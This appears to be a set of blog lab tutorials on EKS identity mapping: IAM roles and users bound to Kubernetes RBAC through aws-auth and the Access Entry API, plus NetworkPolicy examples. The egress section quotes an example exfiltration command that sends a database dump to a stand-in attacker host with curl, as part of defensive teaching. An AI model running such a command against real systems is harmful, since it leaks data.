This lab will guide you through creating an IAM role, defining Kubernetes RBAC permissions, and manually mapping the two using the aws-auth ConfigMap.

Here are the step-by-step commands and YAML files you need to successfully complete the lab.

Make sure you replace with your actual AWS Account ID and with your preferred region (e.g., us-east-1) and `` with your user before running the commands.

Step 1: Provision an EKS Cluster (Legacy Mode Enabled)​

We need to create a cluster that explicitly allows the aws-auth ConfigMap using the API_AND_CONFIG_MAP authentication mode.

Bash

eksctl create cluster \
--name legacy-iam-lab \
--region \
--nodegroup-name standard-nodes \
--node-type t3.medium \
--nodes 2 \
--authentication-mode API_AND_CONFIG_MAP

``

eksctl create cluster \
--name legacy-iam-lab \
--region \
--nodegroup-name standard-nodes \
--node-type t3.medium \
--nodes 2 \
--authentication-mode API_AND_CONFIG_MAP

(Note: This step will take about 10-15 minutes to provision the cluster and nodes).

Step 2: Create a New AWS IAM Role​

1. Create the Trust Policy File: Create a file named trust-policy.json. This policy allows your own AWS account to assume this role.

trust-policy.json:

Bash

{
"Version": "2012-10-17",
"Statement": &#91;
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam:::"
},
"Action": "sts:AssumeRole"
}
&#93;
}

``

{
"Version": "2012-10-17",
"Statement": &#91;
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam:::"
},
"Action": "sts:AssumeRole"
}
&#93;
}

2. Create the Role via AWS CLI:

Bash

aws iam create-role \
--role-name EKS-Dev-Reader \
--assume-role-policy-document file://trust-policy.json

``

aws iam create-role \
--role-name EKS-Dev-Reader \
--assume-role-policy-document file://trust-policy.json
Step 3: Create Kubernetes RBAC (The Authorization)​

Now we define what the Kubernetes group dev-reader-group is allowed to do.

1. Create the RBAC File: Create a file named rbac.yaml. This creates a Role (permissions) and a RoleBinding (attaching the permissions to the group).

rbac.yaml:

Bash

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: pod-reader
rules:
- apiGroups: &#91;""&#93;
resources: &#91;"pods"&#93;
verbs: &#91;"get", "watch", "list"&#93;
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods-binding
namespace: default
subjects:
- kind: Group
name: dev-reader-group
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: pod-reader
apiGroup: rbac.authorization.k8s.io

``

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: pod-reader
rules:
- apiGroups: &#91;""&#93;
resources: &#91;"pods"&#93;
verbs: &#91;"get", "watch", "list"&#93;
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods-binding
namespace: default
subjects:
- kind: Group
name: dev-reader-group
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: pod-reader
apiGroup: rbac.authorization.k8s.io

2. Apply the RBAC to the Cluster:

Bash

kubectl apply -f rbac.yaml

``

kubectl apply -f rbac.yaml
Step 4: The Legacy Mapping (aws-auth ConfigMap)​

This is the manual, error-prone step of mapping the AWS Role to the Kubernetes Group.

1. Open the ConfigMap for editing:

Bash

kubectl edit configmap aws-auth -n kube-system

``

kubectl edit configmap aws-auth -n kube-system

2. Modify the ConfigMap: Your editor will open. Look for the mapRoles block under data. You need to carefully append the new role. Pay strict attention to the YAML indentation.

Make it look like this (adding the bottom block):

YAML

apiVersion: v1
data:
mapRoles: |
- groups:
- system:bootstrappers
- system:nodes
rolearn: arn:aws:iam:::role/eksctl-legacy-iam-lab-nodegroup-NodeInstanceRole-XXXXXXX
username: system:node:{{EC2PrivateDNSName}}
- rolearn: arn:aws:iam:::role/EKS-Dev-Reader
username: dev-user
groups:
- dev-reader-group

``

apiVersion: v1
data:
mapRoles: |
- groups:
- system:bootstrappers
- system:nodes
rolearn: arn:aws:iam:::role/eksctl-legacy-iam-lab-nodegroup-NodeInstanceRole-XXXXXXX
username: system:node:{{EC2PrivateDNSName}}
- rolearn: arn:aws:iam:::role/EKS-Dev-Reader
username: dev-user
groups:
- dev-reader-group

Save and close the editor (usually :wq if it opens in vim). You should see: configmap/aws-auth edited.

Step 5: Test the Access (The Handshake)​

1. Configure a temporary AWS profile: Open your AWS config file (~/.aws/config) in a text editor and append the following profile at the bottom:

~/.aws/config addition:

Bash

&#91;profile eks-dev&#93;
role_arn = arn:aws:iam:::role/EKS-Dev-Reader
source_profile = default

``

&#91;profile eks-dev&#93;
role_arn = arn:aws:iam:::role/EKS-Dev-Reader
source_profile = default

2. Update your kubeconfig to use this new identity:

Bash

aws eks update-kubeconfig --region --name legacy-iam-lab --profile eks-dev

``

aws eks update-kubeconfig --region --name legacy-iam-lab --profile eks-dev

3. Run the Authorization Test (Should Succeed):

Bash

kubectl get pods -n default

``

kubectl get pods -n default

(Expected output: "No resources found in default namespace" — this means you authenticated successfully, there just aren't any pods yet).

4. Run the Boundary Test (Should Fail):

Bash

kubectl get nodes

``

kubectl get nodes

(Expected output: Error from server (Forbidden): nodes is forbidden: User "dev-user" cannot list resource "nodes" in API group...)

Step 6: Cleanup​

To avoid charges, clean up the resources. First, switch back to your admin profile so you have permission to delete the cluster.

1. Restore your kubeconfig to your admin profile:

Bash

aws eks update-kubeconfig --region --name legacy-iam-lab

``

aws eks update-kubeconfig --region --name legacy-iam-lab

2. Delete the EKS Cluster:

Bash

eksctl delete cluster --name legacy-iam-lab --region

``

eksctl delete cluster --name legacy-iam-lab --region

3. Delete the IAM Role:

Bash

aws iam delete-role --role-name EKS-Dev-Reader

``

aws iam delete-role --role-name EKS-Dev-Reader

EKS Identity Mapping and RBAC

· 6 min read

Scenario: You are the DevSecOps Architect. You need to grant a newly hired developer (eks-developer) read-only access strictly to the dev-team namespace in your EKS cluster. They should not be able to view or modify anything in the default or kube-system namespaces.

Prerequisites​

  • An AWS Account with administrative privileges.

  • aws-cli installed and configured.

  • kubectl installed.

  • eksctl installed (we will use this to quickly spin up a test cluster).

Step 1: Provision the EKS Lab Cluster​

First, let's spin up a small, single-node cluster. The IAM user/role you use to run this command will automatically become the implicit system:masters administrator.

Bash

# Create a basic EKS cluster (This takes about 15 minutes)
eksctl create cluster \
--name eks-auth-lab \
--region us-east-1 \
--nodes 1 \
--node-type t3.medium

``

# Create a basic EKS cluster (This takes about 15 minutes)
eksctl create cluster \
--name eks-auth-lab \
--region us-east-1 \
--nodes 1 \
--node-type t3.medium

Verify your admin access once it finishes:

Bash

kubectl get nodes

``

kubectl get nodes

Step 2: Create the "Developer" IAM Identity​

We need an external AWS identity to map. For this lab, we will create an IAM User (though in production, you would map an IAM Role assumed via AWS SSO).

Bash

# 1. Create the IAM User
aws iam create-user --user-name eks-developer

# 2. Create Access Keys for the user
aws iam create-access-key --user-name eks-developer

``

# 1. Create the IAM User
aws iam create-user --user-name eks-developer

# 2. Create Access Keys for the user
aws iam create-access-key --user-name eks-developer

Important: Note the AccessKeyId and SecretAccessKey from the JSON output.

Configure a new local AWS profile for this developer:

Bash

aws configure --profile eks-developer
# Paste the Access Key ID
# Paste the Secret Access Key
# Default region name: us-east-1
# Default output format: json

``

aws configure --profile eks-developer
# Paste the Access Key ID
# Paste the Secret Access Key
# Default region name: us-east-1
# Default output format: json

Get your AWS Account ID and note the developer's full ARN (you will need this in Step 4):

Bash

aws sts get-caller-identity --profile eks-developer
# The ARN will look like: arn:aws:iam::111122223333:user/eks-developer

``

aws sts get-caller-identity --profile eks-developer
# The ARN will look like: arn:aws:iam::111122223333:user/eks-developer

Step 3: Create the Kubernetes RBAC (The Locks)​

Now, acting as the Cluster Admin (your default AWS profile), create the namespace, the Role, and the RoleBinding inside Kubernetes.

1. Create the Namespace:

Bash

kubectl create namespace dev-team

``

kubectl create namespace dev-team

2. Create the Role (role.yaml): This defines what actions are allowed.

Bash

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: dev-team
name: dev-reader
rules:
- apiGroups: &#91;""&#93;
resources: &#91;"pods", "services"&#93;
verbs: &#91;"get", "watch", "list"&#93;

``

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: dev-team
name: dev-reader
rules:
- apiGroups: &#91;""&#93;
resources: &#91;"pods", "services"&#93;
verbs: &#91;"get", "watch", "list"&#93;

Apply it: kubectl apply -f role.yaml

3. Create the RoleBinding (rolebinding.yaml): This binds the Role to a specific Kubernetes group called dev-team-group.

Bash

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods-binding
namespace: dev-team
subjects:
- kind: Group
name: dev-team-group # This is the badge color we will hand out!
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: dev-reader
apiGroup: rbac.authorization.k8s.io

``

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods-binding
namespace: dev-team
subjects:
- kind: Group
name: dev-team-group # This is the badge color we will hand out!
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: dev-reader
apiGroup: rbac.authorization.k8s.io

Apply it: kubectl apply -f rolebinding.yaml

Step 4: The Translation (EKS Access Management API)​

At this moment, the IAM user exists, and the Kubernetes RBAC exists, but they are completely disconnected. Let's bridge them using the modern EKS Access API.

We are going to tell EKS: "If anyone authenticates as arn:aws:iam::111122223333:user/eks-developer, hand them the Kubernetes group badge called dev-team-group."

Bash

# Replace with your actual AWS Account ID
aws eks create-access-entry \
--cluster-name eks-auth-lab \
--principal-arn arn:aws:iam:::user/eks-developer \
--kubernetes-groups dev-team-group

``

# Replace with your actual AWS Account ID
aws eks create-access-entry \
--cluster-name eks-auth-lab \
--principal-arn arn:aws:iam:::user/eks-developer \
--kubernetes-groups dev-team-group

Note: Because we are using the modern API, we do not need to touch the dangerous aws-auth ConfigMap!

Step 5: Test and Verify the Flow​

Now, put on your "Developer" hat. You will attempt to access the cluster using the eks-developer AWS profile.

1. Update the local kubeconfig as the developer:

Bash

aws eks update-kubeconfig \
--name eks-auth-lab \
--region us-east-1 \
--profile eks-developer

``

aws eks update-kubeconfig \
--name eks-auth-lab \
--region us-east-1 \
--profile eks-developer

2. Test 1: Authorized Access (Success)

Attempt to list pods in the assigned namespace.

Bash

kubectl get pods -n dev-team

``

kubectl get pods -n dev-team

Result: No resources found in dev-team namespace. (Success! You authenticated, and RBAC authorized you to look, even if nothing is there yet).

3. Test 2: Unauthorized Namespace (403 Forbidden)

Attempt to look at the default namespace.

Bash

kubectl get pods -n default

``

kubectl get pods -n default

Result: Error from server (Forbidden): pods is forbidden: User "..." cannot list resource "pods" in API group "" in the namespace "default" (Success! Authentication passed, but Kubernetes RBAC successfully blocked you).

4. Test 3: Unauthorized Action (403 Forbidden)

Attempt to delete a pod in the allowed namespace.

Bash

kubectl delete pod fake-pod -n dev-team

``

kubectl delete pod fake-pod -n dev-team

Result:Error from server (Forbidden): pods "fake-pod" is forbidden: User "..." cannot delete resource "pods" in API group "" in the namespace "dev-team"(Success! RBAC proves that read-only means read-only).

Step 6: Lab Cleanup​

To avoid AWS charges, destroy the resources you created. Switch back to your administrator terminal/profile to run these.

Bash

# Delete the cluster (Takes ~10 minutes)
eksctl delete cluster --name eks-auth-lab --region us-east-1

# Delete the IAM Developer User and Keys
aws iam delete-access-key --access-key-id --user-name eks-developer
aws iam delete-user --user-name eks-developer

``

# Delete the cluster (Takes ~10 minutes)
eksctl delete cluster --name eks-auth-lab --region us-east-1

# Delete the IAM Developer User and Keys
aws iam delete-access-key --access-key-id --user-name eks-developer
aws iam delete-user --user-name eks-developer

This lab perfectly complements your theoretical article by allowing your readers to experience the "Airport Border Control vs. Conference Room Locks" analogy in a real terminal.

Kubernetes Network Policies Lab

· 3 min read

The "Deny-All" Default Policy​

(Zero Trust Security)

The #1 Best Practice in DevSecOps is Zero Trust. By default, trust nobody. When you create a new Namespace, the very first thing you should do is drop a "Deny-All" policy into it. This locks every single door.

The Rule: If a Pod has no policy selecting it, it accepts all traffic. If a Pod is selected by a policy, it rejects everything except what the policy explicitly allows.

The Default Deny-All YAML:​

This policy selects all pods in a namespace and blocks both incoming and outgoing traffic.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: prod-env
spec:
podSelector: {} # Empty selector means "Select ALL Pods"
policyTypes:
- Ingress # Block all incoming
- Egress # Block all outgoing

Once you apply this, your entire prod-env namespace goes dark. Nothing can talk to anything. Now, we selectively open doors.


Allowing Specific Traffic​

(Opening the Right Doors)

Let's say we have a backend Pod. We want to allow traffic to it, but ONLY if the traffic comes from the frontend Pod.

Allowing traffic based on Pod Labels:​

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-to-backend
namespace: prod-env
spec:
podSelector:
matchLabels:
app: backend # This policy applies TO the backend pods
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # ONLY allow traffic FROM the frontend pods
ports:
- protocol: TCP
port: 8080 # ONLY on port 8080

Allowing traffic based on Namespaces:​

Sometimes you want to allow a monitoring tool (like Prometheus) located in a different namespace to read metrics from your app.

ingress:
- from:
- namespaceSelector:
matchLabels:
team: monitoring # Allow traffic from any pod in the 'monitoring' namespace

Egress Policies​

(Blocking Internet Access)

Most people only secure incoming traffic (Ingress). But Egress (Outbound) security is critical to stop Data Exfiltration.

If a hacker compromises your Database Pod, their next step is to run a command like curl hacker-server.com --data "db_dump". Or, they might try to download a crypto-miner script from the internet.

If your Database Pod does not need the internet, block it!

Example: Allow DNS, but Block the Internet​

This policy allows a Pod to query DNS (port 53) so it can find other internal services, but blocks it from talking to any external IP address.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: db-egress-policy
namespace: prod-env
spec:
podSelector:
matchLabels:
app: database
policyTypes:
- Egress
egress:
- to: # Allow DNS lookups internally
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53

If the hacker tries to curl google.com, the connection will simply timeout. You have trapped them!